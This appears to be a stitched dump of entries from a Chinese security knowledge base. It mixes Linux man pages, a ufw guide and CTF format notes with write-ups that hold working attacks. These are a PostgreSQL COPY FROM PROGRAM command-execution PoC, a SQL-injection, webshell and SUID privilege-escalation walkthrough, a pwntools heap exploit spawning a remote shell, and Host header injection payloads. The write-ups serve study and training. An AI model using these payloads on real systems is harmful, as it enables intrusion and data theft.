\& 决定了 输入文件 的 目标格式, 其值 应为 BFD的 名称之一. 如果 没有 \c
.B GNUTARGET \c
\& 环境变量, \c
.B ld\c
\& 就使用 主机的 本地格式. 如果 \c
.B GNUTARGET\c
\& 设置为 \c
.B default\c
\&, BFD 通过 检查 输入文件 的 二进制格式 判断 输入格式;
这个方法 通常 有效, 但 隐含 歧义, 这是因为 没有 办法 保证 标志 目标文件格式
的 幻数 是 唯一的.
不过, 各个系统 配置 BFD 的 时候, 会把 系统 约定的格式 放在 搜索列表 的
前面, 因此 能够 按照 约定 消除 歧义.
.PP
.SH "另见 (SEE ALSO)"
.BR objdump ( 1 )
.br
.RB "`\|" ld "\|' 和 `\|" binutils "\|'"
项 (
.B info\c
)
.br
.I
ld: the GNU linker\c
, Steve Chamberlain and Roland Pesch;
.I
The GNU Binary Utilities\c
, Roland H. Pesch.
.SH COPYING
Copyright (c) 1991, 92, 93, 94, 95, 96, 97, 1998 Free Software Foundation, Inc.
.PP
Permission is granted to make and distribute verbatim copies of
this manual provided the copyright notice and this permission notice
are preserved on all copies.
.PP
Permission is granted to copy and distribute modified versions of this
manual under the conditions for verbatim copying, provided that the
entire resulting derived work is distributed under the terms of a
permission notice identical to this one.
.PP
Permission is granted to copy and distribute translations of this
manual into another language, under the above conditions for modified
versions, except that this permission notice may be included in
translations approved by the Free Software Foundation instead of in
the original English.
.SH "[中文版维护人]"
.B 徐明 <xuming@users.sourceforge.net>
.SH "[中文版最新更新]"
.BR 2003/05/13
第一版
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# ufw
---
## 安装
```bash
sudo apt update && sudo apt install ufw
```
## 配置及使用
默认情况下,ufw 的配置文件在 `/etc/default/ufw` ,然后用户定义的防火墙规则文件会存在 `/etc/ufw/*.rules` 和 `/lib/ufw/*.rules`
UFW 默认允许所有出站连接,拒绝所有入站连接
```
sudo ufw default deny incoming
sudo ufw default allow outgoing
```
**允许管理 IPv6**
```diff
sudo vim /etc/defaulf/ufw
++ IPV6=yes
```
**允许 SSH 连接**
```bash
sudo ufw allow ssh
# 等价于
sudo ufw allow 22
# 如果修改了SSH连接端口,记住相应的允许端口连接。
```
**允许 HTTP/HTTPS**
```bash
sudo ufw allow http
# 等价于
sudo ufw allow 80
sudo ufw allow https
sudo ufw allow 443
```
默认情况下 ufw allow 不加 in 是指允许入站连接,如果要允许出站,加上 out
```
sudo ufw allow in port
sudo ufw allow out port
```
**允许指定端口的协议**
```bash
sudo ufw allow ftp
# 等价于
sudo ufw allow 21/tcp
```
**允许指定范围的端口连接和协议**
```bash
sudo ufw allow 6000:6005/tcp
sudo ufw allow 7000:7005/udp
```
**允许指定的IP连接**
默认情况下相应的端口允许所有 IP 连接,通过 from 指定允许某 IP 的连接
```bash
sudo ufw allow from 123.45.67.89
sudo ufw allow from 123.45.67.89 to any port 22
```
如果要允许子网的连接
```bash
sudo ufw allow from 15.15.15.0/24
sudo ufw allow from 15.15.15.0/24 to any port 22
```
**拒绝连接**
```bash
# 和允许连接一样,只要将相应的 allow 换成 deny 即可
sudo ufw deny from 123.45.67.89
```
**查看规则**
```bash
sudo ufw status numbered
```
**删除规则**
```bash
# 每条规则前都有一个序号
sudo ufw delete [number]
sudo ufw delete allow http
# 等价于
sudo ufw delete allow 80
```
**查看 UFW 状态**
```bash
sudo ufw status verbose
sudo ufw show added
```
**启用禁用 UFW**
```bash
sudo ufw enable
sudo ufw disable
# ufw 默认会开机启动,如果没有,手动设置
sudo systemctl start ufw
sudo systemctl enable ufw
```
**启用日志**
```bash
sudo ufw logging on
sudo ufw logging off
sudo ufw logging low|medium|high # 指定日志级别 日志文件在 /var/log/ufw.log
```
**重置防火墙**
```bash
sudo ufw reset
# 这条命令将禁用 ufw,并删除所有定义的规则,默认情况下, ufw 会备份规则。
```
---
## Source & Reference
- [Linux 下的防火墙 ufw](http://einverne.github.io/post/2018/04/ufw.html)
|
sec-knowleage
|
# CCLS (forensics, 31 solved, 146p)
```
Ray said that the challenge "Leaf-Similar Trees" from last LeetCode Weekly was really same-fringe problem and wrote it in the form of coroutine which he learned from a Stanford friend.
Can you decrypt the cache file dumped from a language server without reading the source code?
The flag is not in the form of rwctf{} because special characters cannot be used.
```
In the task we get some [binary data](fringe.cc.blob) which turns out to be an index file from CCLS language server, generated for some source code.
In short, this is an index file used to provide code-completion in some compatible code editors.
As a result this file contains some meta-information about the source code it was generated for.
Reading the blob is hard, so we used a short code to transcribe this to a `json` format, which is also supported in CCLS:
```c
int main(int argc, char** argv) {
std::ifstream input("fringe.cc.blob");
std::string data;
input.seekg(0, std::ios::end);
int size = input.tellg();
data.reserve(size);
input.seekg(0, std::ios::beg);
data.assign((std::istreambuf_iterator<char>(input)),
std::istreambuf_iterator<char>());
auto ptr = Deserialize(SerializeFormat::Binary, "bleh.cc", data, "<empty>", std::nullopt);
if (ptr.get() == nullptr) {
std::cerr << "Error! Deserialize";
return -1;
}
std::cout << ptr->ToString();
return 0;
}
```
As a result we got a nice [json file](fringe.json).
This file was much easier to read, but still flag was no-where to be seen.
Initially we were afraid that the goal is to reconstruct the source code, based on the index information (eg. where certain functions and variables appear), and flag will be provided as `result` of the code.
This was even more probable when one of variables had:
```json
{
"usr": 7704954053858737267,
"detailed_name": "int b",
"qual_name_offset": 4,
"short_name_offset": 4,
"short_name_size": 1,
"hover": "",
"comments": "flag is here",
"declarations": [],
"spell": "16:80-16:81|1935187987660993811|3|2",
"extent": "16:76-16:81|1935187987660993811|3|0",
"type": 52,
"uses": [],
"kind": 13,
"storage": 0
},
```
We honestly thought that value of this variable after execution might be the flag...
Fortunately one of our players said that it's curious that there are so many single-letter integer variables in the code, especially ones with unlikely names like `int o`.
We decided to extract all those variables, and then to order them based on where they appear in the code:
```
7704954053858737267, b
6003530916780244609, l
16409791255353764606,e
6774343172775664959, s
9373165262205917908, s
4461895420097840245, w
4956677364806259883, o
8339831579497412465, d
14097758609443653436,w
5793038454202862564, h
11799706060736637558,o
2689251791356110509, i
9707098551059601229, s
8289061585496345026, i
9726294037205706468, n
6655996420844398086, h
168502829666687781 k
```
Then we spend next half an hour trying to figure out how to order this to get the `real` flag.
Finally we tried to submit just this: `blesswodwhoisinhk` and it turned out to be the flag.
|
sec-knowleage
|
# PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
参考链接:
- https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
## 漏洞环境
启动存在漏洞的环境:
```
docker compose up -d
```
环境启动后,将开启Postgres默认的5432端口,默认账号密码为postgres/postgres。
## 漏洞复现
首先连接到postgres中,并执行参考链接中的POC:
```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
```
`FROM PROGRAM`语句将执行命令id并将结果保存在cmd_exec表中:

|
sec-knowleage
|
.TH DEALLOCVT 1 "1997年10月6日" "控制台工具" "Linux用户手册"
.SH NAME(名称)
deallocvt \- 释放未使用的虚拟终端
.SH SYNOPSIS(总览)
.BI "deallocvt [ " "N1 N2" " ... ]"
.SH DESCRIPTION(描述)
如果不指定参数,
.B deallocvt
程序会释放所有未使用的虚拟终端的核心内存和数据结构.
如果给定了参数
.I Ni
那么就只释放TTY
.RI /dev/tty Ni .
如果一个虚拟终端不是前台控制台,而且没有在上面打开进程
执行读或写操作,又没有在该屏幕上选择文本,那么认为该
终端是未使用的.
.SH "SEE ALSO"(另见)
.BR chvt (1),
.BR openvt (1).
|
sec-knowleage
|
# HACKME: 2
> https://download.vulnhub.com/hackme/hackme2-DHCP.ova
靶场IP:`192.168.32.209`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.209
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-07 03:10 EDT
Nmap scan report for 192.168.32.209
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
MAC Address: 00:0C:29:22:CA:D2 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds
```
访问80端口

注册测试用户

输入框有SQL注入漏洞

```
POST /welcome.php HTTP/1.1
Host: 192.168.32.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.32.209/welcome.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://192.168.32.209
Connection: close
Cookie: PHPSESSID=d82p89ea990dqrg60r28uao5al
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
search=1
```
使用sqlmap进行注入,找到`superadmin/Uncrackable`
```
┌──(root💀kali)-[/tmp]
└─# sqlmap -r 1.txt --level 5 --risk 3 --dbms=mysql -p search --tamper space2comment.py -D webapphacking -T users --dump
Database: webapphacking
Table: users
[7 entries]
+----+--------------+------------+----------------+----------------------------------+
| id | name | user | address | pasword |
+----+--------------+------------+----------------+----------------------------------+
| 1 | David | user1 | Newton Circles | 5d41402abc4b2a76b9719d911017c592 |
| 2 | Beckham | user2 | Kensington | 6269c4f71a55b24bad0f0267d9be5508 |
| 3 | anonymous | user3 | anonymous | 0f359740bd1cda994f8b55330c86d845 |
| 10 | testismyname | test | testaddress | 05a671c66aefea124cc08b76ea6d30bb |
| 11 | superadmin | superadmin | superadmin | 2386acb2cf356944177746fc92523983 |
| 12 | test1 | test1 | test1 | 05a671c66aefea124cc08b76ea6d30bb |
| 13 | sad | sectest | asdas@sad.com | e10adc3949ba59abbe56e057f20f883e |
+----+--------------+------------+----------------+----------------------------------+
```
使用superadmin用户登录,发现有上传和查询页面。不过上传限制webshell

发现查询框存在命令注入漏洞

我们换其他命令来执行,例如pwd,ls都可以正确执行而cat命令无法执行,猜测其过滤了空格,我们使用`cat<welcomeadmin.php`这个payload来绕过过滤。
可以看到在返回包里泄露的welcomeadmin.php的完整源代码,包括文件上传的绝对路径。

上传图片木马,并且移动文件变成php文件
```
fname=1&lname=system('mv$IFS/var/www/html/uploads/year2020/shell.jpg$IFS/var/www/html/uploads/year2020/shell.php')&search=Search+User
```

寻找suid文件
```
find / -perm -u=s -type f 2>/dev/null
```

发现home目录下有一个可疑的文件,执行一下之后发现顺利get root权限。

|
sec-knowleage
|
# CTF 竞赛模式简介
## 解题模式 - Jeopardy
解题模式(Jeopardy)常见于线上选拔比赛。在解题模式 CTF 赛制中,参赛队伍可以通过互联网或者现场网络参与,参数队伍通过与在线环境交互或文件离线分析,解决网络安全技术挑战获取相应分值,类似于 ACM
编程竞赛、信息学奥林匹克赛,根据总分和时间来进行排名。
不同的是这个解题模式一般会设置 **一血** 、 **二血** 、 **三血** ,也即最先完成的前三支队伍会获得额外分值,所以这不仅是对首先解出题目的队伍的分值鼓励,也是一种团队能力的间接体现。
当然还有一种流行的计分规则是设置每道题目的初始分数后,根据该题的成功解答队伍数,来逐渐降低该题的分值,也就是说如果解答这道题的人数越多,那么这道题的分值就越低。最后会下降到一个保底分值后便不再下降。
题目类型主要包含 **Web 网络攻防** 、 **RE 逆向工程** 、 **Pwn 二进制漏洞利用** 、 **Crypto 密码攻击** 、 **Mobile 移动安全** 以及 **Misc 安全杂项** 这六个类别。
## 战争分享模式 - Belluminar
在 2016 年世界黑客大师挑战赛(WCTF)国内首次引入韩国 POC SECURITY 团队开创的 BELLUMINAR CTF (战争与分享)赛制,从此中国国内陆陆续续也有开始 BELLUMINAR 模式的比赛,目前采取这一赛制的有 2016
年诸葛建伟老师集合的 XMan 夏令营分享赛以及同年 9 月的「百度杯」CTF 比赛。
同时这里也有 BELLUMINAR 赛制的介绍官网: <http://belluminar.org/>
### 赛制介绍
> Belluminar, hacking contest of POC, started at POC2015 in KOREA for the first time. Belluminar is from 'Bellum'(war in Latin) and 'seminar'. It is not a just hacking contest but a kind of
> festival consisted of CTF & seminar for the solution about challenges. Only invited teams can join Belluminar. Each team can show its ability to attack what other teams want to protect and can
> defend what others want to attack.
如官网介绍这样,BELLUMINAR CTF 赛制由受邀参赛队伍相互出题挑战,并在比赛结束后分享赛题的出题思路,学习过程以及解题思路等。战队评分依据出题得分,解题得分和分享得分,进行综合评价并得出最终的排名。
### 出题阶段
> 每个队伍需要提出两个Challenge到challenge题库
首先各个受邀参赛队伍都必须在正式比赛前出 2 道Challange。参赛队伍将有 12 周的时间准备Challenge。出Challenge的积分占总分的 30%。
> Challenge 1: must be on the Linux platform;
>
> Challenge 2: No platform restriction(except Linux) No challenge type restriction (Pwn, Reverse...)
传统的 BELLUMINAR 赛制要求出的两道Challenge中一道 Challenge 必须是在 Linux 平台,另外一个Challenge则为非 Linux 平台。两个 Challenge 的类型没有做出限制。因此队伍可以尽情展现自己的技术水平。
为使比赛Challenge类型比较均衡,也有采用队伍抽签出Challenge的方式抽取自己的Challenge,这要求队伍能力水平更为全面,因此为了不失平衡性,也会将两道 Challenge 的计入不同分值(比如要求其中一道 Challenge 分值为
200,而另外一道分值则为 100)。
### 提交部署
题目提交截止之前,各个队伍需要提交完整的文档以及解题 Writeup,文档中要求详细标明题目分值,题面,出题负责人,考察知识点列表以及题目源码。而解题 Writeup中则需要包含操作环境,完整解题过程以及解题代码。
题目提交之后主办方会对题目和解题代码进行测试,如果期间出现问题则需要该题负责人配合以解决问题。最终放到比赛平台上。
### 解题竞技
进入比赛后,各支队伍可以看到所有其他团队出的题目并发起挑战,但是不能解答本队出的题目,不设 First Blood 奖励,根据解题积分进行排名。解题积分占总分的 60%。
### 分享讨论
比赛结束后,队伍休息,并准备制作分享 PPT(也可以在出题阶段准备好)。分享会时,各队派 2
名队员上台分享出题解题思路,学习过程以及考察知识点等。在演示结束后进入互动讨论环节,解说代表需要回答评委和其他选手提出的问题。解说没有太多的时间限制,但是时间用量是评分的一个标准。
### 计分规则
出题积分(占总分 30%)有 50% 由评委根据题目提交的详细程度,完整度,提交时间等进评分,另外 50% 则根据比赛结束后的最终解题情况进行评分。计分公式示例:
Score = MaxScore -- | N -- Expect_N |
。N代表解出该题的队伍数量,而 Expect_N 则是这道题预期解出的题目数量。只有当题目难度适中,解题队伍数量越接近预期数量 Expect_N,则这道题的出题队伍得到的出题积分越高。
解题积分(占总积分 60%)在计算时不考虑 First Blood 奖励。
分享积分(占 10%)由评委和其他队伍根据其技术分享内容进行评分得出(考虑分享时间以及其他限制),会计算平均值。
### 赛制总评
赛制中将 Challenge 的出题方交由受邀战队,让战队能尽自己所能互相出题,比赛难度和范围不会被主办方水平限制,同时也能提高 Challenge
的质量,每个战队都能有不一样的体验与提升。在"分享"环节,对本队题目进行讲解的同时也在提高自己的能力水平,在讨论回答的过程更是一种思维互动的环节。可以在赛后的学习总结中能得到更好的认知。
## 攻防模式 - Attack & Defense
### 概述
攻防模式常见于线下决赛。在攻防模式中,初始时刻,所有参赛队伍拥有相同的系统环境(包含若干服务,可能位于不同的机器上),常称为 gamebox,参赛队伍挖掘网络服务漏洞并攻击对手服务获取 flag 来得分,修补自身服务漏洞进行防御从而防止扣分(一般来说防御只能避免丢分,当然有的比赛在防御上可以得分)。
攻防模式可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续
48 小时),同时也比团队之间的分工配合与合作。
一般比赛的具体环境会在开赛前一天或者当天开赛前半小时由比赛主办方给出(是一份几页的小文档)。在这一段时间内,你需要根据主办方提供的文档熟悉环境并做好防御。
在比赛开始前半小时,这半小时内是无法进行攻击的,各支队伍都会加紧熟悉比赛网络环境,并做好防御准备。至于敌方 Gamebox 的 IP 地址,则需要靠你自己在给出网段中发现。
如果是分为上午下午两场攻防赛的话,那么上午和下午的 Gamebox 漏洞服务会更换(避免比赛中途休息时选手交流),但管理时要用的 IP 地址什么的不会改变。也就是 **下午会换新题** 。
一般情况下,主办方会提供网线,**但并不会提供网线转接口,所以需要自备。**
### 基本规则
攻防模式一般的规则如下
- 战队初始分数均为 x 分
- 比赛以 5/10 分钟为一个回合,每回合主办方会更新已放出服务的 Flag
- 每回合内,一个战队的一个服务被渗透攻击成功(被拿 Flag 并提交),则扣除一定分数,攻击成功的战队平分这些分数。
- 每回合内,如果战队能够维护自己的服务正常运行,则分数不会减少(如果防御成功加分则会加分);
- 如果一个服务宕机或异常无法通过测试,则可能会扣分,服务正常的战队平分这些分。往往服务异常会扣除较多的分数。
- 如果该回合内所有战队的服务都异常,则认为是不可抗拒因素造成,分数都不减少。
- 每回合内,服务异常和被拿 Flag 可以同时发生,即战队在一个回合内单个服务可能会扣除两者叠加的分数。
- 禁止队伍使用通用防御方法
- 请参赛队伍在比赛开始时对所有服务进行备份,若因自身原因导致服务永久损坏或丢失,无法恢复,主办方不提供重置服务
- 禁止对赛题以外的比赛平台发起攻击,包括但不限于在 gamebox 提权 root、利用主办方平台漏洞等,违规者立刻被取消参赛资格
- 参赛队伍如果发现其他队伍存在违规行为,请立刻举报,我们会严格审核并作出相应判罚。
### 网络环境
文档上一般都会有比赛环境的 **网络拓扑图** (如下图),每支队伍会维护若干的 **Gamebox(己方服务器)** ,Gamebox 上部署有存在漏洞的服务。
文档上会包括选手,攻防环境,主办方三者的环境。
选手需要在个人电脑上配置或者 DHCP 自动获取
- IP 地址
- 网关
- 掩码DNS 服务器地址
攻防环境
- Gamebox 所处地址,包括己方和其他队伍的地址。
- 比赛一般会提供队伍的 id 与对应 ip 的映射表,以便于让选手指定恰当的攻防策略。
主办方环境
- 比赛答题平台
- 提交 flag 接口
- 流量访问接口
### 访问 Gamebox
参赛文档中会给出队伍登录 gamebox 的方式,一般来说如下
- 用户名为 ctf
- 一般会通过 ssh 登录,登录方式为密码或者私钥。
自然,在登录上战队机器后应该修改所有的默认密码,同时不应该设置弱密码。
|
sec-knowleage
|
gzexe
===
用来压缩可执行文件
## 补充说明
**gzexe命令** 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。
### 语法
```shell
gzexe(选项)(参数)
```
### 选项
```shell
-d:解压缩被gzexe压缩过的可执行文件。
```
### 参数
文件:指定需要压缩的可执行文件。
|
sec-knowleage
|
# arraymaster1
PWN
## Description:
> Would you mind briefly testing our new integer array implementation?
A binary file was attached.
## Solution:
Let's see what the program does:
```
root@kali:/media/sf_CTFs/35c3ctf/arraymaster1# ./arraymaster1
We implemeted int8, int16, int32, and int64 arrays in C.
However, we didn't have time to test them properly.
Here is a little test suite. Hopefully you won't find any exploitable bugs!
You can perform the following operations:
[1] list
Print a summary of all arrays
[2] init <ID> <type> <l>
Create an array with ID {A-J} of type {8, 16, 32, 46} and length l
[3] delete <ID>
Delete the array with ID {A-J}
[4] set <ID> <i> <value>
Set the value at index i of array ID {A-J}
[5] get <ID> <i>
Get the value at index i of array ID {A-J}
[6] quit
Leave the progam because there are no bugs anyway
Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit
>
> init A 8 3
Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit
> set A 0 99
Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit
> get A 0
99
Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit
> list
[A] {type: 8, length: 3}
[B]
[C]
[D]
[E]
[F]
[G]
[H]
[I]
[J]
```
We can allocate, delete, set and get arrays.
After diving into the disassembly, it looks like the program has a global array `arrays` of size 80, which can contain 10 pointers.
```
[0x00400aa2]> fs symbols
[0x00400aa2]> f~arrays
0x006020c0 80 obj.arrays
```
Each pointer is to a metadata struct of the following format:
```
+----------------+ 0
| num_elements | -> Number of elements in the actual array
+----------------+ 8
| type | -> Type of the array elements (8 / 16 / 32 / 64)
+----------------+ 16
| pointer | -> Pointer to the actual array where the elements are stored. Length is (num_elements * type / 8)
+----------------+ 24
| getter | -> Pointer to function which knows to read an array element, e.g. int8_get, int16_get etc.
+----------------+ 32
| setter | -> Pointer to function which knows to write an array element, e.g. int8_set, int16_set etc.
+----------------+
```
The bug occurs in the following logic:
```assembly
; 0x400b29 [gn]
mov qword [rax], r12 ; r12 contains nun_elements - save in metadata[0]
mov qword [rax + 8], rbp ; rbp contains type - save in metadata[1]
mov rax, rbp
shr rax, 3 ; rax = type / 8
imul r12, rax ; r12 = type / 8 * num_elements
mov rdi, r12
; void *malloc(size_t size)
call sym.imp.malloc;[gk]
mov r14, rax ; r14 = malloc(type / 8 * num_elements)
test rax, rax
je 0x400bad;[gm]
```
`type` was already sanitized to be one of `{8, 16, 32, 64}`, but `num_elements` was not checked against an upper bound.
Therefore, if we provide `(0xFFFFFFFFFFFFFFFF+1)/8` as `num_elements` for a 64bit array, we are actually requesting an array of length:
```
64 / 8 * (0xFFFFFFFFFFFFFFFF+1)/8 = 8 * (0xFFFFFFFFFFFFFFFF+1)/8 = (0xFFFFFFFFFFFFFFFF+1) --overflow--> 0
```
Reminder: `malloc(0)` is implementation defined in C99:
> If the size of the space requested is zero, the behavior is implementation-defined: either a null pointer is returned, or the behavior is as if the size were some nonzero value, except that the returned pointer shall not be used to access an object.
Thus, the `num_elements` of this array would be very large, but the allocated length of the payload (a.k.a user data) would be 0 (the overall allocation would include some heap-related metadata).
We can therefore allocate another array right after that, and use offsets from the first array to modify elements of the second array. Since we have a function called `spawn_shell` in our program, our natural move would be to override the address of the second's array getter or setter with `spawn_shell`.
Putting it all together:
```python
from pwn import *
import argparse
#context.log_level = "debug"
LOCAL_PATH = "./arraymaster1"
def get_process(is_remote = False):
if is_remote:
return remote("35.207.132.47", 22228)
else:
return process(LOCAL_PATH)
def read_menu(proc):
proc.recvuntil("\n> ")
def print_list(proc):
read_menu(proc)
proc.sendline("list")
return proc.recvuntil("\nEnter the command you want to execute.", drop = True)
def init(proc, arr_id, arr_type, arr_length):
read_menu(proc)
proc.sendline("init {} {} {}".format(arr_id, arr_type, arr_length))
log.info("Initializing array '{}' (Type: int{}, Length: {})".format(arr_id, arr_type, arr_length))
def set_entry(proc, arr_id, arr_index, value):
read_menu(proc)
proc.sendline("set {} {} {}".format(arr_id, arr_index, value))
log.info("Setting index #{} of array '{}' to value '{}' ({})".format(arr_index, arr_id, value, hex(value)))
def get_entry(proc, arr_id, arr_index):
read_menu(proc)
proc.sendline("get {} {}".format(arr_id, arr_index))
out = int(proc.recvline(keepends = False))
log.info("Index #{} of array '{}' has value '{}' ({})".format(arr_index, arr_id, out, hex(out)))
return out
def quit(proc):
read_menu(proc)
proc.sendline("quit")
log.info("Quitting...")
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()
e = ELF(LOCAL_PATH)
p = get_process(args.remote)
spawn_shell_addr = e.symbols["spawn_shell"]
log.info("Address of spawn_shell: {}".format(hex(spawn_shell_addr)))
init(p, "A", 64, (0xFFFFFFFFFFFFFFFF+1)/8)
init(p, "B", 64, 1)
# Entries 0, 1, 2, 3 are malloc metadata
assert(get_entry(p, "A", 4) == 1)
assert(get_entry(p, "A", 5) == 64)
# get_entry(p, "A", 6) -> pointer to actual array
assert(get_entry(p, "A", 7) == e.symbols["int64_get"])
assert(get_entry(p, "A", 8) == e.symbols["int64_set"])
set_entry(p, "A", 8, spawn_shell_addr)
set_entry(p, "B", 0, 0)
p.interactive()
```
The output:
```console
root@kali:/media/sf_CTFs/35c3ctf/arraymaster1# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/arraymaster1/arraymaster1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
[+] Opening connection to 35.207.132.47 on port 22228: Done
[*] Address of spawn_shell: 0x4009c3
[*] Initializing array 'A' (Type: int64, Length: 2305843009213693952)
[*] Initializing array 'B' (Type: int64, Length: 1)
[*] Index #4 of array 'A' has value '1' (0x1)
[*] Index #5 of array 'A' has value '64' (0x40)
[*] Index #7 of array 'A' has value '4196725' (0x400975)
[*] Index #8 of array 'A' has value '4196788' (0x4009b4)
[*] Setting index #8 of array 'A' to value '4196803' (0x4009c3)
[*] Setting index #0 of array 'B' to value '0' (0x0)
[*] Switching to interactive mode
$ ls
arraymaster1
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
35C3_558937ad232b2239e82493e5daa3061711ba23d8
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 35.207.132.47 port 22228
[*] Got EOF while sending in interactive
```
The flag: 35C3_558937ad232b2239e82493e5daa3061711ba23d8
|
sec-knowleage
|
# Host Header Injection
## Introduction
HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as "Host header injection" attacks.
## Where to find
In the feature where the website can send email to us. For example forgot password / newsletter.
## How to exploit
1. Change the host header
```
GET /index.php HTTP/1.1
Host: evil-website.com
...
```
2. Duplicating the host header
```
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.com
...
```
3. Add line wrapping
```
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.com
...
```
4. Add host override headers
```
X-Forwarded-For: evil-website.com
X-Forwarded-Host: evil-website.com
X-Client-IP: evil-website.com
X-Remote-IP: evil-website.com
X-Remote-Addr: evil-website.com
X-Host: evil-website.com
```
How to use? In this case im using "X-Forwarded-For : evil.com"
```
GET /index.php HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For : evil-website.com
...
```
5. Supply an absolute URL
```
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com
...
```
## References
* [PortSwigger](https://portswigger.net/web-security/host-header/exploiting)
|
sec-knowleage
|
# uncomfortable web (web, 300, 78 solves)
> Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
> Get the flag in the database!
We start off by making a quick script to quickly send our python scripts:
``` python
h = HTMLParser()
url = "http://uncomfortableweb.pwn.seccon.jp/?"
files = {'file': open('uncom.py', 'rb')}
r = requests.post(url=url, files=files)
print(h.unescape(r.text[290:-436]))
```
After a quick traversal, we notice two interesting things:
* `127.0.0.1:81/select.cgi`
* `127.0.0.1:81/authed/sqlinj/`
First link allows us to get the .htaccess file from `authed` directory, which we can brute and get the login/pass.
As for the second link, the directory's name strongly suggest a sql injection, there are 100 cgi files insides, so we can guess, that only one/few of them actually have sqli in them.
Let's try to inject `' or '1'='1` into every page:
``` python
conn = httplib.HTTPConnection('127.0.0.1', 81)
headers = {}
headers["Authorization"] = "Basic {0}".format(base64.b64encode("{0}:{1}".format('keigo', 'test')))
for i in range(100):
conn.request("GET", "/authed/sqlinj/{}}.cgi?no=".format(str(i))+urllib.quote_plus("4a' or '1'='1' union SELECT *, null, null FROM f1ags /*"), None, headers)
res = conn.getresponse()
print(res.read().decode("utf-8"))
conn.close()
```
The important thing here, is that we urlencode the payload, it wouldn't work otherwise.
In return we get:
```
.
.
.
70 link
71 link
72 link
ISBN-10: 4822267865
ISBN-13: 978-4822267865
PUBLISH: 2015/2/20
ISBN-10: 4822267911
ISBN-13: 978-4822267919
PUBLISH: 2015/8/27
ISBN-10: 4822267938
ISBN-13: 978-4822267933
PUBLISH: 2016/2/19
ISBN-10: 4822237842
ISBN-13: 978-4822237844
PUBLISH: 2016/8/25
73 link
.
.
.
```
Success!
The db turns out to be sqlite, after some fiddling with the `sqlite_master` table, we finally arrive with the final exploit: `SECCON{I want to eventually make a CGC web edition... someday...}`
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.